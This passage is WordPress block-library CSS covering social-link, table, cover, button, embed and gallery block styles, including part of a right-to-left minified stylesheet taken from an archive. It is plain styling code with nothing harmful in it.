background-color: #3288d4; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium { background-color: #02ab6c; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup { background-color: #f6405f; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon { background-color: #ff424d; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest { background-color: #e60122; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket { background-color: #ef4155; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit { background-color: #fe4500; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype { background-color: #0478d7; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat { background-color: #fefc00; color: #fff; stroke: #000; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud { background-color: #ff5600; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify { background-color: #1bd760; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram { background-color: #2aabee; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok { background-color: #000; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr { background-color: #011835; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch { background-color: #6440a4; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter { background-color: #1da1f2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo { background-color: #1eb7ea; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk { background-color: #4680c2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress { background-color: #3499cd; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp { background-color: #d32422; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube { background-color: #f00; color: #fff; } .wp-block-social-links.is-style-logos-only .wp-social-link { background: none; padding: 4px; } .wp-block-social-links.is-style-logos-only .wp-social-link-amazon { color: #f90; } .wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp { color: #1ea0c3; } .wp-block-social-links.is-style-logos-only .wp-social-link-behance { color: #0757fe; } .wp-block-social-links.is-style-logos-only .wp-social-link-codepen { color: #1e1f26; } .wp-block-social-links.is-style-logos-only .wp-social-link-deviantart { color: #02e49b; } .wp-block-social-links.is-style-logos-only .wp-social-link-dribbble { color: #e94c89; } .wp-block-social-links.is-style-logos-only .wp-social-link-dropbox { color: #4280ff; } .wp-block-social-links.is-style-logos-only .wp-social-link-etsy { color: #f45800; } .wp-block-social-links.is-style-logos-only .wp-social-link-facebook { color: #1778f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx { color: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-flickr { color: #0461dd; } .wp-block-social-links.is-style-logos-only .wp-social-link-foursquare { color: #e65678; } .wp-block-social-links.is-style-logos-only .wp-social-link-github { color: #24292d; } .wp-block-social-links.is-style-logos-only .wp-social-link-goodreads { color: #382110; } .wp-block-social-links.is-style-logos-only .wp-social-link-google { color: #ea4434; } .wp-block-social-links.is-style-logos-only .wp-social-link-instagram { color: #f00075; } .wp-block-social-links.is-style-logos-only .wp-social-link-lastfm { color: #e21b24; } .wp-block-social-links.is-style-logos-only .wp-social-link-linkedin { color: #0d66c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-mastodon { color: #3288d4; } .wp-block-social-links.is-style-logos-only .wp-social-link-medium { color: #02ab6c; } .wp-block-social-links.is-style-logos-only .wp-social-link-meetup { color: #f6405f; } .wp-block-social-links.is-style-logos-only .wp-social-link-patreon { color: #ff424d; } .wp-block-social-links.is-style-logos-only .wp-social-link-pinterest { color: #e60122; } .wp-block-social-links.is-style-logos-only .wp-social-link-pocket { color: #ef4155; } .wp-block-social-links.is-style-logos-only .wp-social-link-reddit { color: #fe4500; } .wp-block-social-links.is-style-logos-only .wp-social-link-skype { color: #0478d7; } .wp-block-social-links.is-style-logos-only .wp-social-link-snapchat { color: #fff; stroke: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud { color: #ff5600; } .wp-block-social-links.is-style-logos-only .wp-social-link-spotify { color: #1bd760; } .wp-block-social-links.is-style-logos-only .wp-social-link-telegram { color: #2aabee; } .wp-block-social-links.is-style-logos-only .wp-social-link-tiktok { color: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-tumblr { color: #011835; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitch { color: #6440a4; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitter { color: #1da1f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-vimeo { color: #1eb7ea; } .wp-block-social-links.is-style-logos-only .wp-social-link-vk { color: #4680c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-wordpress { color: #3499cd; } .wp-block-social-links.is-style-logos-only .wp-social-link-yelp { background-color: #d32422; color: #fff; } .wp-block-social-links.is-style-logos-only .wp-social-link-youtube { color: #f00; } .wp-block-social-links.is-style-pill-shape .wp-social-link { width: auto; } .wp-block-social-links.is-style-pill-shape .wp-social-link a { padding-right: calc((2/3) * 1em); padding-left: calc((2/3) * 1em); } .wp-block-spacer { clear: both; } p.wp-block-subhead { font-size: 1.1em; font-style: italic; opacity: 0.75; } .wp-block-tag-cloud.aligncenter { text-align: center; } .wp-block-tag-cloud.alignfull { padding-right: 1em; padding-left: 1em; } .wp-block-table { overflow-x: auto; } .wp-block-table table { width: 100%; } .wp-block-table .has-fixed-layout { table-layout: fixed; width: 100%; } .wp-block-table .has-fixed-layout td, .wp-block-table .has-fixed-layout th { word-break: break-word; } .wp-block-table.alignleft, .wp-block-table.aligncenter, .wp-block-table.alignright { display: table; width: auto; } .wp-block-table.alignleft td, .wp-block-table.alignleft th, .wp-block-table.aligncenter td, .wp-block-table.aligncenter th, .wp-block-table.alignright td, .wp-block-table.alignright th { word-break: break-word; } .wp-block-table .has-subtle-light-gray-background-color { background-color: #f3f4f5; } .wp-block-table .has-subtle-pale-green-background-color { background-color: #e9fbe5; } .wp-block-table .has-subtle-pale-blue-background-color { background-color: #e7f5fe; } .wp-block-table .has-subtle-pale-pink-background-color { background-color: #fcf0ef; } .wp-block-table.is-style-stripes { border-spacing: 0; border-collapse: inherit; background-color: transparent; border-bottom: 1px solid #f0f0f0; } .wp-block-table.is-style-stripes tbody tr:nth-child(odd) { background-color: #f0f0f0; } .wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd) { background-color: #f3f4f5; } .wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd) { background-color: #e9fbe5; } .wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd) { background-color: #e7f5fe; } .wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd) { background-color: #fcf0ef; } .wp-block-table.is-style-stripes th, .wp-block-table.is-style-stripes td { border-color: transparent; } .wp-block-text-columns { display: flex; } .wp-block-text-columns.aligncenter { display: flex; } .wp-block-text-columns .wp-block-column { margin: 0 1em; padding: 0; } .wp-block-text-columns .wp-block-column:first-child { margin-right: 0; } .wp-block-text-columns .wp-block-column:last-child { margin-left: 0; } .wp-block-text-columns.columns-2 .wp-block-column { width: calc(100% / 2); } .wp-block-text-columns.columns-3 .wp-block-column { width: calc(100% / 3); } .wp-block-text-columns.columns-4 .wp-block-column { width: calc(100% / 4); } pre.wp-block-verse { font-family: inherit; overflow: auto; white-space: pre-wrap; } .wp-block-video { margin-right: 0; margin-left: 0; } .wp-block-video video { width: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-video [poster] { -o-object-fit: cover; object-fit: cover; } } .wp-block-video.aligncenter { text-align: center; } .wp-block-video figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-post-featured-image a { display: inline-block; } .wp-block-post-featured-image img { max-width: 100%; height: auto; } :root { /* stylelint-disable function-comma-space-after */ /* stylelint-enable function-comma-space-after */ } :root .has-pale-pink-background-color { background-color: #f78da7; } :root .has-vivid-red-background-color { background-color: #cf2e2e; } :root .has-luminous-vivid-orange-background-color { background-color: #ff6900; } :root .has-luminous-vivid-amber-background-color { background-color: #fcb900; } :root .has-light-green-cyan-background-color { background-color: #7bdcb5; } :root .has-vivid-green-cyan-background-color { background-color: #00d084; } :root .has-pale-cyan-blue-background-color { background-color: #8ed1fc; } :root .has-vivid-cyan-blue-background-color { background-color: #0693e3; } :root .has-vivid-purple-background-color { background-color: #9b51e0; } :root .has-white-background-color { background-color: #fff; } :root .has-very-light-gray-background-color { background-color: #eee; } :root .has-cyan-bluish-gray-background-color { background-color: #abb8c3; } :root .has-very-dark-gray-background-color { background-color: #313131; } :root .has-black-background-color { background-color: #000; } :root .has-pale-pink-color { color: #f78da7; } :root .has-vivid-red-color { color: #cf2e2e; } :root .has-luminous-vivid-orange-color { color: #ff6900; } :root .has-luminous-vivid-amber-color { color: #fcb900; } :root .has-light-green-cyan-color { color: #7bdcb5; } :root .has-vivid-green-cyan-color { color: #00d084; } :root .has-pale-cyan-blue-color { color: #8ed1fc; } :root .has-vivid-cyan-blue-color { color: #0693e3; } :root .has-vivid-purple-color { color: #9b51e0; } :root .has-white-color { color: #fff; } :root .has-very-light-gray-color { color: #eee; } :root .has-cyan-bluish-gray-color { color: #abb8c3; } :root .has-very-dark-gray-color { color: #313131; } :root .has-black-color { color: #000; } :root .has-vivid-cyan-blue-to-vivid-purple-gradient-background { background: linear-gradient(-135deg, #0693e3 0%, #9b51e0 100%); } :root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background { background: linear-gradient(-135deg, #00d084 0%, #0693e3 100%); } :root .has-light-green-cyan-to-vivid-green-cyan-gradient-background { background: linear-gradient(-135deg, #7adcb4 0%, #00d082 100%); } :root .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background { background: linear-gradient(-135deg, #fcb900 0%, #ff6900 100%); } :root .has-luminous-vivid-orange-to-vivid-red-gradient-background { background: linear-gradient(-135deg, #ff6900 0%, #cf2e2e 100%); } :root .has-very-light-gray-to-cyan-bluish-gray-gradient-background { background: linear-gradient(-135deg, #eeeeee 0%, #a9b8c3 100%); } :root .has-cool-to-warm-spectrum-gradient-background { background: linear-gradient(-135deg, #4aeadc 0%, #9778d1 20%, #cf2aba 40%, #ee2c82 60%, #fb6962 80%, #fef84c 100%); } :root .has-blush-light-purple-gradient-background { background: linear-gradient(-135deg, #ffceec 0%, #9896f0 100%); } :root .has-blush-bordeaux-gradient-background { background: linear-gradient(-135deg, #fecda5 0%, #fe2d2d 50%, #6b003e 100%); } :root .has-purple-crush-gradient-background { background: linear-gradient(-135deg, #34e2e4 0%, #4721fb 50%, #ab1dfe 100%); } :root .has-luminous-dusk-gradient-background { background: linear-gradient(-135deg, #ffcb70 0%, #c751c0 50%, #4158d0 100%); } :root .has-hazy-dawn-gradient-background { background: linear-gradient(-135deg, #faaca8 0%, #dad0ec 100%); } :root .has-pale-ocean-gradient-background { background: linear-gradient(-135deg, #fff5cb 0%, #b6e3d4 50%, #33a7b5 100%); } :root .has-electric-grass-gradient-background { background: linear-gradient(-135deg, #caf880 0%, #71ce7e 100%); } :root .has-subdued-olive-gradient-background { background: linear-gradient(-135deg, #fafae1 0%, #67a671 100%); } :root .has-atomic-cream-gradient-background { background: linear-gradient(-135deg, #fdd79a 0%, #004a59 100%); } :root .has-nightshade-gradient-background { background: linear-gradient(-135deg, #330968 0%, #31cdcf 100%); } :root .has-midnight-gradient-background { background: linear-gradient(-135deg, #020381 0%, #2874fc 100%); } :root .has-link-color a { color: #00e; color: var(--wp--style--color--link, #00e); } .has-small-font-size { font-size: 0.8125em; } .has-regular-font-size, .has-normal-font-size { font-size: 1em; } .has-medium-font-size { font-size: 1.25em; } .has-large-font-size { font-size: 2.25em; } .has-larger-font-size, .has-huge-font-size { font-size: 2.625em; } .has-text-align-center { text-align: center; } .has-text-align-left { text-align: left; } .has-text-align-right { text-align: right; } #end-resizable-editor-section { display: none; } .aligncenter { clear: both; }css/dist/block-library/style-rtl.min.css000064400000161214151202620300014262 0ustar00@charset "UTF-8";#start-resizable-editor-section{display:none}.wp-block-audio figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-audio audio{width:100%;min-width:300px}.wp-block-button__link{color:#fff;background-color:#32373c;border:none;border-radius:1.55em;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:.667em 1.333em;text-align:center;text-decoration:none;overflow-wrap:break-word}.wp-block-button__link:active,.wp-block-button__link:focus,.wp-block-button__link:hover,.wp-block-button__link:visited{color:#fff}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - .5em)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - .5em)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - .5em)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{margin-left:0;width:100%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.is-style-outline>.wp-block-button__link,.wp-block-button__link.is-style-outline{border:2px solid}.is-style-outline>.wp-block-button__link:not(.has-text-color),.wp-block-button__link.is-style-outline:not(.has-text-color){color:#32373c}.is-style-outline>.wp-block-button__link:not(.has-background),.wp-block-button__link.is-style-outline:not(.has-background){background-color:transparent}.wp-block-buttons{display:flex;flex-direction:row;flex-wrap:wrap}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button{margin-right:0}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin-left:0;margin-right:.5em;margin-bottom:.5em}.wp-block-buttons>.wp-block-button:last-child{margin-right:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right>.wp-block-button{margin-left:.5em;margin-right:0}.wp-block-buttons.is-content-justification-right>.wp-block-button:first-child{margin-left:0}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons.alignleft .wp-block-button{margin-left:0;margin-right:.5em}.wp-block-buttons.alignleft .wp-block-button:last-child{margin-right:0}.wp-block-buttons.alignright .wp-block-button{margin-right:0;margin-left:.5em}.wp-block-buttons.alignright .wp-block-button:first-child{margin-left:0}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-right:auto;margin-left:auto;margin-bottom:.5em;width:100%}.wp-block-calendar{text-align:center}.wp-block-calendar tbody td,.wp-block-calendar th{padding:.25em;border:1px solid #ddd}.wp-block-calendar tfoot td{border:none}.wp-block-calendar table{width:100%;border-collapse:collapse}.wp-block-calendar table th{font-weight:400;background:#ddd}.wp-block-calendar a{text-decoration:underline}.wp-block-calendar table caption,.wp-block-calendar table tbody{color:#40464d}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-code code{display:block;white-space:pre-wrap;overflow-wrap:break-word}.wp-block-columns{display:flex;margin-bottom:1.75em;flex-wrap:wrap}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap}}.wp-block-columns.has-background{padding:1.25em 2.375em}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}.wp-block-column{flex-grow:1;min-width:0;word-break:break-word;overflow-wrap:break-word}@media (max-width:599px){.wp-block-column{flex-basis:100%!important}}@media (min-width:600px) and (max-width:781px){.wp-block-column:not(:only-child){flex-basis:calc(50% - 1em)!important;flex-grow:0}.wp-block-column:nth-child(2n){margin-right:2em}}@media (min-width:782px){.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-column[style*=flex-basis]{flex-grow:0}.wp-block-column:not(:first-child){margin-right:2em}}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{-ms-grid-row-align:center;align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}.wp-block-cover,.wp-block-cover-image{position:relative;background-size:cover;background-position:50%;min-height:430px;width:100%;display:flex;justify-content:center;align-items:center;padding:1em;box-sizing:border-box}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:fixed}@supports (-webkit-overflow-scrolling:touch){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{content:"";background-color:inherit}.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim:not(.has-background-gradient):before,.wp-block-cover .wp-block-cover__gradient-background{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{display:block;content:"";font-size:0;min-height:inherit}@supports ((position:-webkit-sticky) or (position:sticky)){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover-image .wp-block-cover__inner-container,.wp-block-cover .wp-block-cover__inner-container{width:100%;z-index:1;color:#fff}.wp-block-cover-image .wp-block-subhead:not(.has-text-color),.wp-block-cover-image h1:not(.has-text-color),.wp-block-cover-image h2:not(.has-text-color),.wp-block-cover-image h3:not(.has-text-color),.wp-block-cover-image h4:not(.has-text-color),.wp-block-cover-image h5:not(.has-text-color),.wp-block-cover-image h6:not(.has-text-color),.wp-block-cover-image p:not(.has-text-color),.wp-block-cover .wp-block-subhead:not(.has-text-color),.wp-block-cover h1:not(.has-text-color),.wp-block-cover h2:not(.has-text-color),.wp-block-cover h3:not(.has-text-color),.wp-block-cover h4:not(.has-text-color),.wp-block-cover h5:not(.has-text-color),.wp-block-cover h6:not(.has-text-color),.wp-block-cover p:not(.has-text-color){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover-image img.wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background,.wp-block-cover img.wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background{position:absolute;top:0;right:0;left:0;bottom:0;margin:0;padding:0;width:100%;height:100%;max-width:none;max-height:none;-o-object-fit:cover;object-fit:cover;outline:none;border:none;box-shadow:none}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover-image .wp-block-cover-image-text,.wp-block-cover .wp-block-cover-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;z-index:1;margin-bottom:0;max-width:840px;padding:.44em;text-align:center}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-width:320px;min-height:240px}.wp-block-embed{margin-bottom:1em}.wp-block-embed figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{position:absolute;top:0;left:0;bottom:0;right:0;height:100%;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}.wp-block-file{margin-bottom:1.5em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file .wp-block-file__button{background:#32373c;border-radius:2em;color:#fff;font-size:.8em;padding:.5em 1em}.wp-block-file a.wp-block-file__button{text-decoration:none}.wp-block-file a.wp-block-file__button:active,.wp-block-file a.wp-block-file__button:focus,.wp-block-file a.wp-block-file__button:hover,.wp-block-file a.wp-block-file__button:visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-file *+.wp-block-file__button{margin-right:.75em}.blocks-gallery-grid,.wp-block-gallery{display:flex;flex-wrap:wrap;list-style-type:none;padding:0;margin:0}.blocks-gallery-grid .blocks-gallery-image,.blocks-gallery-grid .blocks-gallery-item,.wp-block-gallery .blocks-gallery-image,.wp-block-gallery .blocks-gallery-item{margin:0 0 1em 1em;display:flex;flex-grow:1;flex-direction:column;justify-content:center;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid .blocks-gallery-image figure,.blocks-gallery-grid .blocks-gallery-item figure,.wp-block-gallery .blocks-gallery-image figure,.wp-block-gallery .blocks-gallery-item figure{margin:0;height:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.blocks-gallery-grid .blocks-gallery-image figure,.blocks-gallery-grid .blocks-gallery-item figure,.wp-block-gallery .blocks-gallery-image figure,.wp-block-gallery .blocks-gallery-item figure{display:flex;align-items:flex-end;justify-content:flex-start}}.blocks-gallery-grid .blocks-gallery-image img,.blocks-gallery-grid .blocks-gallery-item img,.wp-block-gallery .blocks-gallery-image img,.wp-block-gallery .blocks-gallery-item img{display:block;max-width:100%;height:auto;width:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.blocks-gallery-grid .blocks-gallery-image img,.blocks-gallery-grid .blocks-gallery-item img,.wp-block-gallery .blocks-gallery-image img,.wp-block-gallery .blocks-gallery-item img{width:auto}}.blocks-gallery-grid .blocks-gallery-image figcaption,.blocks-gallery-grid .blocks-gallery-item figcaption,.wp-block-gallery .blocks-gallery-image figcaption,.wp-block-gallery .blocks-gallery-item figcaption{position:absolute;bottom:0;width:100%;max-height:100%;overflow:auto;padding:3em .77em 